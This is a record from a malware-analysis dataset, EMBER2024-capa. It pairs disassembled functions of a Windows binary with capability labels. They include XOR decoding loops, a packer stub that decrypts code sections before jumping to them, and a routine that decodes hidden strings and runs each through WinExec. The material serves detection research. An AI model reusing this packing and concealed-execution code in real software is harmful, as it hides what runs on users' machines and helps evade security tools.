joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40fcfe
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40fd3d
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40fd3d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40fd3d
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40fd3d
cmp dword [ecx + 0x74], 0xe
jbe 0x40fd3d
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
mov ebx, 0x408f6c
nop
mov ecx, 0x3fa618ea
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43004e
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e3d0
mov ecx, 0x238a04d6
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x430084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x403e50
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
mov ebx, ecx
mov dword [ebp - 0x20], ebx
cmp byte [ebx + 0x47], 0
je 0x403fe4
movaps xmm5, xmmword [0x4f49c0]
lea ecx, [ebx + 8]
movaps xmm6, xmmword [0x4f4cc0]
mov edx, 0xfffffffe
movups xmm4, xmmword [0x4f4a20]
mov dword [ebp - 8], ecx
sub edx, ebx
push esi
mov ecx, 0xfffffffc
mov dword [ebp - 4], 0xfffffff7
sub ecx, ebx
mov dword [ebp - 0x14], edx
push edi
mov dword [ebp - 0xc], ecx
mov edi, 0xfffffffb
sub edi, ebx
mov esi, 0xfffffffd
sub esi, ebx
mov dword [ebp - 0x10], edi
mov ecx, 0xfffffff3
mov dword [ebp - 0x18], esi
sub ecx, ebx
xor eax, eax
sub dword [ebp - 4], ebx
mov ebx, dword [ebp - 8]
mov dword [ebp - 0x1c], ecx
movd xmm0, eax
add ecx, ebx
pshufd xmm1, xmm0, 0
add edi, ebx
movd xmm0, dword [ebx - 8]
paddd xmm1, xmm6
punpcklbw xmm0, xmm0
add eax, 0x10
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
movd xmm3, edi
xorps xmm1, xmm0
mov edi, dword [ebp - 0x10]
andps xmm1, xmm4
movd xmm0, ecx
mov ecx, dword [ebp - 4]
packuswb xmm1, xmm1
add ecx, ebx
packuswb xmm1, xmm1
movd dword [ebx - 8], xmm1
pshufd xmm1, xmm0, 0
movd xmm0, dword [ebx - 4]
paddd xmm1, xmm5
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
xorps xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm4
lea ecx, [edx + ebx]
packuswb xmm1, xmm1
lea edx, [esi + ebx]
mov esi, dword [ebp - 0xc]
packuswb xmm1, xmm1
add esi, ebx
movd dword [ebx - 4], xmm1
pshufd xmm1, xmm0, 0
movd xmm0, dword [ebx]
paddd xmm1, xmm5
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
movd xmm2, ecx
xorps xmm1, xmm0
mov ecx, dword [ebp - 0x1c]
andps xmm1, xmm4
movd xmm0, edx
mov edx, dword [ebp - 0x14]
punpckldq xmm3, xmm0
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd dword [ebx], xmm1
movd xmm0, dword [ebx + 4]
punpcklbw xmm0, xmm0
movd xmm1, esi
mov esi, dword [ebp - 0x18]
punpcklwd xmm0, xmm0
punpckldq xmm1, xmm2
punpckldq xmm3, xmm1
psrad xmm0, 0x18
xorps xmm3, xmm0
andps xmm3, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd dword [ebx + 4], xmm3
add ebx, 0x10
cmp eax, 0x40
jb 0x403ec4
mov ebx, dword [ebp - 0x20]
pop edi
pop esi
cmp eax, 0x46
jae 0x403fe0
lea edx, [eax + ebx]
lea ecx, [eax - 9]
inc eax
xor byte [edx], cl
cmp eax, 0x46
jb 0x403fd2
mov byte [ebx + 0x47], 0
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x403ff0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov edi, ecx
cmp byte [edi + 0xa], 0
je 0x404012
xor edx, edx
lea ecx, [edi + edx]
lea eax, [edx - 9]
inc edx
xor byte [ecx], al
cmp edx, 9
jb 0x404000
mov byte [edi + 0xa], 0
mov esi, dword [ebp + 8]
lea ecx, [edi + 9]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
cmp edi, ecx
je 0x40404b
push 9
push edi
mov ecx, esi
call fcn.00407140
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x404300
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
mov ebx, ecx
mov dword [ebp - 0x20], ebx
cmp byte [ebx + 0x136], 0
je 0x4044a9
movaps xmm5, xmmword [0x4f49c0]
lea ecx, [ebx + 8]
movaps xmm6, xmmword [0x4f4cc0]
mov edx, 0xfffffffe
movups xmm4, xmmword [0x4f4a20]
mov dword [ebp - 8], ecx
sub edx, ebx
push esi
mov ecx, 0xfffffffc
mov dword [ebp - 4], 0xfffffff7
sub ecx, ebx
mov dword [ebp - 0x14], edx
push edi
mov dword [ebp - 0xc], ecx
mov edi, 0xfffffffb
sub edi, ebx
mov esi, 0xfffffffd
sub esi, ebx
mov dword [ebp - 0x10], edi
mov ecx, 0xfffffff3
mov dword [ebp - 0x18], esi
sub ecx, ebx
xor eax, eax
sub dword [ebp - 4], ebx
mov ebx, dword [ebp - 8]
mov dword [ebp - 0x1c], ecx
nop word [eax + eax]
movd xmm0, eax
add ecx, ebx
pshufd xmm1, xmm0, 0
add edi, ebx
movd xmm0, dword [ebx - 8]
paddd xmm1, xmm6
punpcklbw xmm0, xmm0
add eax, 0x10
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
movd xmm3, edi
xorps xmm1, xmm0
mov edi, dword [ebp - 0x10]
andps xmm1, xmm4
movd xmm0, ecx
mov ecx, dword [ebp - 4]
packuswb xmm1, xmm1
add ecx, ebx
packuswb xmm1, xmm1
movd dword [ebx - 8], xmm1
pshufd xmm1, xmm0, 0
movd xmm0, dword [ebx - 4]
paddd xmm1, xmm5
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
xorps xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm4
lea ecx, [edx + ebx]
packuswb xmm1, xmm1
lea edx, [esi + ebx]
mov esi, dword [ebp - 0xc]
packuswb xmm1, xmm1
add esi, ebx
movd dword [ebx - 4], xmm1
pshufd xmm1, xmm0, 0
movd xmm0, dword [ebx]
paddd xmm1, xmm5
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
movd xmm2, ecx
xorps xmm1, xmm0
mov ecx, dword [ebp - 0x1c]
andps xmm1, xmm4
movd xmm0, edx
mov edx, dword [ebp - 0x14]
punpckldq xmm3, xmm0
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd dword [ebx], xmm1
movd xmm0, dword [ebx + 4]
punpcklbw xmm0, xmm0
movd xmm1, esi
mov esi, dword [ebp - 0x18]
punpcklwd xmm0, xmm0
punpckldq xmm1, xmm2
punpckldq xmm3, xmm1
psrad xmm0, 0x18
xorps xmm3, xmm0
andps xmm3, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd dword [ebx + 4], xmm3
add ebx, 0x10
cmp eax, 0x130
jb 0x404380
mov ebx, dword [ebp - 0x20]
pop edi
pop esi
cmp eax, 0x135
jae 0x4044a2
lea edx, [eax + ebx]
lea ecx, [eax - 9]
inc eax
xor byte [edx], cl
cmp eax, 0x135
jb 0x404492
mov byte [ebx + 0x136], 0
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4045f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov edi, ecx
cmp byte [edi + 0xc], 0
je 0x404612
xor edx, edx
lea ecx, [edi + edx]
lea eax, [edx - 9]
inc edx
xor byte [ecx], al
cmp edx, 0xb
jb 0x404600
mov byte [edi + 0xc], 0
mov esi, dword [ebp + 8]
lea ecx, [edi + 0xb]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
cmp edi, ecx
je 0x40464b
push 0xb
push edi
mov ecx, esi
call fcn.00407140
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x404660
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov edi, ecx
cmp byte [edi + 0xd], 0
je 0x4046d9
movups xmm4, xmmword [0x4f4a20]
push ebx
mov esi, 0xfffffffa
mov ebx, 3
lea eax, [esi - 1]
movd xmm2, esi
lea edx, [esi - 3]
movd xmm0, eax
movd xmm3, edx
lea ecx, [esi - 2]
punpckldq xmm3, xmm0
movd xmm0, dword [edi + esi + 6]
punpcklbw xmm0, xmm0
movd xmm1, ecx
punpcklwd xmm0, xmm0
punpckldq xmm1, xmm2
punpckldq xmm3, xmm1
psrad xmm0, 0x18
xorps xmm3, xmm0
andps xmm3, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd dword [edi + esi + 6], xmm3
add esi, 4
sub ebx, 1
jne 0x404680
pop ebx
mov byte [edi + 0xd], 0
mov esi, dword [ebp + 8]
lea eax, [edi + 0xc]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
cmp edi, eax
je 0x404712
push 0xc
push edi
mov ecx, esi
call fcn.00407140
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x404c50
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
movaps xmm0, xmmword [0x4f4bf0]
lea ecx, [ebp - 0x48]
movups xmmword [ebp - 0x48], xmm0
push esi
movaps xmm0, xmmword [0x4f4b80]
movups xmmword [ebp - 0x38], xmm0
push 0
movaps xmm0, xmmword [0x4f4a30]
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 8], 0x1c070a17
movaps xmm0, xmmword [0x4f4ba0]
movups xmmword [ebp - 0x18], xmm0
mov word [ebp - 4], 0xa
mov byte [ebp - 2], 1
call fcn.00404e20
mov esi, dword [sym.imp.KERNEL32.dll_WinExec]
push eax
call esi
movaps xmm0, xmmword [0x4f4bf0]
lea ecx, [ebp - 0x4c]
movups xmmword [ebp - 0x4c], xmm0
push 0
movaps xmm0, xmmword [0x4f4b80]
movups xmmword [ebp - 0x3c], xmm0
mov dword [ebp - 0xc], 0x8195442
movaps xmm0, xmmword [0x4f4a50]
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 8], 0xc1a05
movaps xmm0, xmmword [0x4f4b90]
movups xmmword [ebp - 0x1c], xmm0
mov byte [ebp - 4], 1
call fcn.00404fc0
push eax
call esi
movaps xmm0, xmmword [0x4f4bf0]
lea ecx, [ebp - 0x50]
movups xmmword [ebp - 0x50], xmm0
push 0
movaps xmm0, xmmword [0x4f4b80]
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x10], 0x4f570617
movaps xmm0, xmmword [0x4f4af0]
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0xc], 0xf1c57
movaps xmm0, xmmword [0x4f4bb0]
movups xmmword [ebp - 0x20], xmm0
mov dword [ebp - 8], 0x1007119
call fcn.00405160
push eax
call esi
movaps xmm0, xmmword [0x4f4c10]
lea ecx, [ebp - 0x30]
movups xmmword [ebp - 0x30], xmm0
push 0
movaps xmm0, xmmword [0x4f4b30]
movups xmmword [ebp - 0x20], xmm0
mov dword [ebp - 0x10], 0x24397765
mov dword [ebp - 0xc], 0x3e716975
mov dword [ebp - 8], 0x13071e2d
mov word [ebp - 4], 0x100
call fcn.00405300
push eax
call esi
movaps xmm0, xmmword [0x4f4bf0]
lea ecx, [ebp - 0x3c]
movups xmmword [ebp - 0x3c], xmm0
push 0
movaps xmm0, xmmword [0x4f4bc0]
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0xc], 0xa455d49
movaps xmm0, xmmword [0x4f4a70]
movups xmmword [ebp - 0x1c], xmm0
mov dword [ebp - 8], 0x1f0b1219
mov word [ebp - 4], 0x100
call fcn.004054a0
push eax
call esi
movaps xmm0, xmmword [0x4f4ab0]
movups xmmword [ebp - 0x64], xmm0
movaps xmm0, xmmword [0x4f4ad0]
movups xmmword [ebp - 0x54], xmm0
movaps xmm0, xmmword [0x4f4b60]
lea ecx, [ebp - 0x64]
movups xmmword [ebp - 0x44], xmm0
push 0
movaps xmm0, xmmword [0x4f4b50]
movups xmmword [ebp - 0x34], xmm0
mov word [ebp - 4], 0x66
movaps xmm0, xmmword [0x4f4aa0]
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 2], 1
movaps xmm0, xmmword [0x4f4c00]
movups xmmword [ebp - 0x14], xmm0
call fcn.00405640
push eax
call esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x404e20
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
mov ebx, ecx
mov dword [ebp - 0x20], ebx
cmp byte [ebx + 0x46], 0
je 0x404fb4
movaps xmm5, xmmword [0x4f49c0]
lea ecx, [ebx + 8]
movaps xmm6, xmmword [0x4f4cc0]
mov edx, 0xfffffffe
movups xmm4, xmmword [0x4f4a20]
mov dword [ebp - 8], ecx
sub edx, ebx
push esi
mov ecx, 0xfffffffc
mov dword [ebp - 4], 0xfffffff7
sub ecx, ebx
mov dword [ebp - 0x14], edx
push edi
mov dword [ebp - 0xc], ecx
mov edi, 0xfffffffb
sub edi, ebx
mov esi, 0xfffffffd
sub esi, ebx
mov dword [ebp - 0x10], edi
mov ecx, 0xfffffff3
mov dword [ebp - 0x18], esi
sub ecx, ebx
xor eax, eax
sub dword [ebp - 4], ebx
mov ebx, dword [ebp - 8]
mov dword [ebp - 0x1c], ecx
movd xmm0, eax
add ecx, ebx
pshufd xmm1, xmm0, 0
add edi, ebx
movd xmm0, dword [ebx - 8]
paddd xmm1, xmm6
punpcklbw xmm0, xmm0
add eax, 0x10
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
movd xmm3, edi
xorps xmm1, xmm0
mov edi, dword [ebp - 0x10]
andps xmm1, xmm4
movd xmm0, ecx
mov ecx, dword [ebp - 4]
packuswb xmm1, xmm1
add ecx, ebx
packuswb xmm1, xmm1
movd dword [ebx - 8], xmm1
pshufd xmm1, xmm0, 0
movd xmm0, dword [ebx - 4]
paddd xmm1, xmm5
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
xorps xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm4
lea ecx, [edx + ebx]
packuswb xmm1, xmm1
lea edx, [esi + ebx]
mov esi, dword [ebp - 0xc]
packuswb xmm1, xmm1
add esi, ebx
movd dword [ebx - 4], xmm1
pshufd xmm1, xmm0, 0
movd xmm0, dword [ebx]
paddd xmm1, xmm5
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
movd xmm2, ecx
xorps xmm1, xmm0
mov ecx, dword [ebp - 0x1c]
andps xmm1, xmm4
movd xmm0, edx
mov edx, dword [ebp - 0x14]
punpckldq xmm3, xmm0
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd dword [ebx], xmm1
movd xmm0, dword [ebx + 4]
punpcklbw xmm0, xmm0
movd xmm1, esi
mov esi, dword [ebp - 0x18]
punpcklwd xmm0, xmm0
punpckldq xmm1, xmm2
punpckldq xmm3, xmm1
psrad xmm0, 0x18
xorps xmm3, xmm0
andps xmm3, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd dword [ebx + 4], xmm3
add ebx, 0x10
cmp eax, 0x40
jb 0x404e94
mov ebx, dword [ebp - 0x20]
pop edi
pop esi
cmp eax, 0x45
jae 0x404fb0
lea edx, [eax + ebx]
lea ecx, [eax - 9]
inc eax
xor byte [edx], cl
cmp eax, 0x45
jb 0x404fa2
mov byte [ebx + 0x46], 0
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404fc0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
mov ebx, ecx
mov dword [ebp - 0x20], ebx
cmp byte [ebx + 0x48], 0
je 0x405154
movaps xmm5, xmmword [0x4f49c0]
lea ecx, [ebx + 8]
movaps xmm6, xmmword [0x4f4cc0]
mov edx, 0xfffffffe
movups xmm4, xmmword [0x4f4a20]
mov dword [ebp - 8], ecx
sub edx, ebx
push esi
mov ecx, 0xfffffffc
mov dword [ebp - 4], 0xfffffff7
sub ecx, ebx
mov dword [ebp - 0x14], edx
push edi
mov dword [ebp - 0xc], ecx
mov edi, 0xfffffffb
sub edi, ebx
mov esi, 0xfffffffd
sub esi, ebx
mov dword [ebp - 0x10], edi
mov ecx, 0xfffffff3
mov dword [ebp - 0x18], esi
sub ecx, ebx
xor eax, eax
sub dword [ebp - 4], ebx
mov ebx, dword [ebp - 8]
mov dword [ebp - 0x1c], ecx
movd xmm0, eax
add ecx, ebx
pshufd xmm1, xmm0, 0
add edi, ebx
movd xmm0, dword [ebx - 8]
paddd xmm1, xmm6
punpcklbw xmm0, xmm0
add eax, 0x10
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
movd xmm3, edi
xorps xmm1, xmm0
mov edi, dword [ebp - 0x10]
andps xmm1, xmm4
movd xmm0, ecx
mov ecx, dword [ebp - 4]
packuswb xmm1, xmm1
add ecx, ebx
packuswb xmm1, xmm1
movd dword [ebx - 8], xmm1
pshufd xmm1, xmm0, 0
movd xmm0, dword [ebx - 4]
paddd xmm1, xmm5
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
xorps xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm4
lea ecx, [edx + ebx]
packuswb xmm1, xmm1
lea edx, [esi + ebx]
mov esi, dword [ebp - 0xc]
packuswb xmm1, xmm1
add esi, ebx
movd dword [ebx - 4], xmm1
pshufd xmm1, xmm0, 0
movd xmm0, dword [ebx]
paddd xmm1, xmm5
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
movd xmm2, ecx
xorps xmm1, xmm0
mov ecx, dword [ebp - 0x1c]
andps xmm1, xmm4
movd xmm0, edx
mov edx, dword [ebp - 0x14]
punpckldq xmm3, xmm0
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd dword [ebx], xmm1
movd xmm0, dword [ebx + 4]
punpcklbw xmm0, xmm0
movd xmm1, esi
mov esi, dword [ebp - 0x18]
punpcklwd xmm0, xmm0
punpckldq xmm1, xmm2
punpckldq xmm3, xmm1
psrad xmm0, 0x18
xorps xmm3, xmm0
andps xmm3, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd dword [ebx + 4], xmm3
add ebx, 0x10
cmp eax, 0x40
jb 0x405034
mov ebx, dword [ebp - 0x20]
pop edi
pop esi
cmp eax, 0x47
jae 0x405150
lea edx, [eax + ebx]
lea ecx, [eax - 9]
inc eax
xor byte [edx], cl
cmp eax, 0x47
jb 0x405142
mov byte [ebx + 0x48], 0
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405160
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
mov ebx, ecx
mov dword [ebp - 0x20], ebx
cmp byte [ebx + 0x4b], 0
je 0x4052f4
movaps xmm5, xmmword [0x4f49c0]
lea ecx, [ebx + 8]
movaps xmm6, xmmword [0x4f4cc0]
mov edx, 0xfffffffe
movups xmm4, xmmword [0x4f4a20]
mov dword [ebp - 8], ecx
sub edx, ebx
push esi
mov ecx, 0xfffffffc
mov dword [ebp - 4], 0xfffffff7
sub ecx, ebx
mov dword [ebp - 0x14], edx
push edi
mov dword [ebp - 0xc], ecx
mov edi, 0xfffffffb
sub edi, ebx
mov esi, 0xfffffffd
sub esi, ebx
mov dword [ebp - 0x10], edi
mov ecx, 0xfffffff3
mov dword [ebp - 0x18], esi
sub ecx, ebx
xor eax, eax
sub dword [ebp - 4], ebx
mov ebx, dword [ebp - 8]
mov dword [ebp - 0x1c], ecx
movd xmm0, eax
add ecx, ebx
pshufd xmm1, xmm0, 0
add edi, ebx
movd xmm0, dword [ebx - 8]
paddd xmm1, xmm6
punpcklbw xmm0, xmm0
add eax, 0x10
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
movd xmm3, edi
xorps xmm1, xmm0
mov edi, dword [ebp - 0x10]
andps xmm1, xmm4
movd xmm0, ecx
mov ecx, dword [ebp - 4]
packuswb xmm1, xmm1
add ecx, ebx
packuswb xmm1, xmm1
movd dword [ebx - 8], xmm1
pshufd xmm1, xmm0, 0
movd xmm0, dword [ebx - 4]
paddd xmm1, xmm5
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
xorps xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm4
lea ecx, [edx + ebx]
packuswb xmm1, xmm1
lea edx, [esi + ebx]
mov esi, dword [ebp - 0xc]
packuswb xmm1, xmm1
add esi, ebx
movd dword [ebx - 4], xmm1
pshufd xmm1, xmm0, 0
movd xmm0, dword [ebx]
paddd xmm1, xmm5
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
movd xmm2, ecx
xorps xmm1, xmm0
mov ecx, dword [ebp - 0x1c]
andps xmm1, xmm4
movd xmm0, edx
mov edx, dword [ebp - 0x14]
punpckldq xmm3, xmm0
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd dword [ebx], xmm1
movd xmm0, dword [ebx + 4]
punpcklbw xmm0, xmm0
movd xmm1, esi
mov esi, dword [ebp - 0x18]
punpcklwd xmm0, xmm0
punpckldq xmm1, xmm2
punpckldq xmm3, xmm1
psrad xmm0, 0x18
xorps xmm3, xmm0
andps xmm3, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd dword [ebx + 4], xmm3
add ebx, 0x10
cmp eax, 0x40
jb 0x4051d4
mov ebx, dword [ebp - 0x20]
pop edi
pop esi
cmp eax, 0x4a
jae 0x4052f0
lea edx, [eax + ebx]
lea ecx, [eax - 9]
inc eax
xor byte [edx], cl
cmp eax, 0x4a
jb 0x4052e2
mov byte [ebx + 0x4b], 0
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405300
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
mov ebx, ecx
mov dword [ebp - 0x20], ebx
cmp byte [ebx + 0x2d], 0
je 0x405494
movaps xmm5, xmmword [0x4f49c0]
lea ecx, [ebx + 8]
movaps xmm6, xmmword [0x4f4cc0]
mov edx, 0xfffffffe
movups xmm4, xmmword [0x4f4a20]
mov dword [ebp - 8], ecx
sub edx, ebx
push esi
mov ecx, 0xfffffffc
mov dword [ebp - 4], 0xfffffff7
sub ecx, ebx
mov dword [ebp - 0x14], edx
push edi
mov dword [ebp - 0xc], ecx
mov edi, 0xfffffffb
sub edi, ebx
mov esi, 0xfffffffd
sub esi, ebx
mov dword [ebp - 0x10], edi
mov ecx, 0xfffffff3
mov dword [ebp - 0x18], esi
sub ecx, ebx
xor eax, eax
sub dword [ebp - 4], ebx
mov ebx, dword [ebp - 8]
mov dword [ebp - 0x1c], ecx
movd xmm0, eax
add ecx, ebx
pshufd xmm1, xmm0, 0
add edi, ebx
movd xmm0, dword [ebx - 8]
paddd xmm1, xmm6
punpcklbw xmm0, xmm0
add eax, 0x10
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
movd xmm3, edi
xorps xmm1, xmm0
mov edi, dword [ebp - 0x10]
andps xmm1, xmm4
movd xmm0, ecx
mov ecx, dword [ebp - 4]
packuswb xmm1, xmm1
add ecx, ebx
packuswb xmm1, xmm1
movd dword [ebx - 8], xmm1
pshufd xmm1, xmm0, 0
movd xmm0, dword [ebx - 4]
paddd xmm1, xmm5
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
xorps xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm4
lea ecx, [edx + ebx]
packuswb xmm1, xmm1
lea edx, [esi + ebx]
mov esi, dword [ebp - 0xc]
packuswb xmm1, xmm1
add esi, ebx
movd dword [ebx - 4], xmm1
pshufd xmm1, xmm0, 0
movd xmm0, dword [ebx]
paddd xmm1, xmm5
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
movd xmm2, ecx
xorps xmm1, xmm0
mov ecx, dword [ebp - 0x1c]
andps xmm1, xmm4
movd xmm0, edx
mov edx, dword [ebp - 0x14]
punpckldq xmm3, xmm0
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd dword [ebx], xmm1
movd xmm0, dword [ebx + 4]
punpcklbw xmm0, xmm0
movd xmm1, esi
mov esi, dword [ebp - 0x18]
punpcklwd xmm0, xmm0
punpckldq xmm1, xmm2
punpckldq xmm3, xmm1
psrad xmm0, 0x18
xorps xmm3, xmm0
andps xmm3, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd dword [ebx + 4], xmm3
add ebx, 0x10
cmp eax, 0x20
jb 0x405374
mov ebx, dword [ebp - 0x20]
pop edi
pop esi
cmp eax, 0x2c
jae 0x405490
lea edx, [eax + ebx]
lea ecx, [eax - 9]
inc eax
xor byte [edx], cl
cmp eax, 0x2c
jb 0x405482
mov byte [ebx + 0x2d], 0
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4054a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
mov ebx, ecx
mov dword [ebp - 0x20], ebx
cmp byte [ebx + 0x39], 0
je 0x405634
movaps xmm5, xmmword [0x4f49c0]
lea ecx, [ebx + 8]
movaps xmm6, xmmword [0x4f4cc0]
mov edx, 0xfffffffe
movups xmm4, xmmword [0x4f4a20]
mov dword [ebp - 8], ecx
sub edx, ebx
push esi
mov ecx, 0xfffffffc
mov dword [ebp - 4], 0xfffffff7
sub ecx, ebx
mov dword [ebp - 0x14], edx
push edi
mov dword [ebp - 0xc], ecx
mov edi, 0xfffffffb
sub edi, ebx
mov esi, 0xfffffffd
sub esi, ebx
mov dword [ebp - 0x10], edi
mov ecx, 0xfffffff3
mov dword [ebp - 0x18], esi
sub ecx, ebx
xor eax, eax
sub dword [ebp - 4], ebx
mov ebx, dword [ebp - 8]
mov dword [ebp - 0x1c], ecx
movd xmm0, eax
add ecx, ebx
pshufd xmm1, xmm0, 0
add edi, ebx
movd xmm0, dword [ebx - 8]
paddd xmm1, xmm6
punpcklbw xmm0, xmm0
add eax, 0x10
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
movd xmm3, edi
xorps xmm1, xmm0
mov edi, dword [ebp - 0x10]
andps xmm1, xmm4
movd xmm0, ecx
mov ecx, dword [ebp - 4]
packuswb xmm1, xmm1
add ecx, ebx
packuswb xmm1, xmm1
movd dword [ebx - 8], xmm1
pshufd xmm1, xmm0, 0
movd xmm0, dword [ebx - 4]
paddd xmm1, xmm5
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
xorps xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm4
lea ecx, [edx + ebx]
packuswb xmm1, xmm1
lea edx, [esi + ebx]
mov esi, dword [ebp - 0xc]
packuswb xmm1, xmm1
add esi, ebx
movd dword [ebx - 4], xmm1
pshufd xmm1, xmm0, 0
movd xmm0, dword [ebx]
paddd xmm1, xmm5
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
movd xmm2, ecx
xorps xmm1, xmm0
mov ecx, dword [ebp - 0x1c]
andps xmm1, xmm4
movd xmm0, edx
mov edx, dword [ebp - 0x14]
punpckldq xmm3, xmm0
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd dword [ebx], xmm1
movd xmm0, dword [ebx + 4]
punpcklbw xmm0, xmm0
movd xmm1, esi
mov esi, dword [ebp - 0x18]
punpcklwd xmm0, xmm0
punpckldq xmm1, xmm2
punpckldq xmm3, xmm1
psrad xmm0, 0x18
xorps xmm3, xmm0
andps xmm3, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd dword [ebx + 4], xmm3
add ebx, 0x10
cmp eax, 0x30
jb 0x405514
mov ebx, dword [ebp - 0x20]
pop edi
pop esi
cmp eax, 0x38
jae 0x405630
lea edx, [eax + ebx]
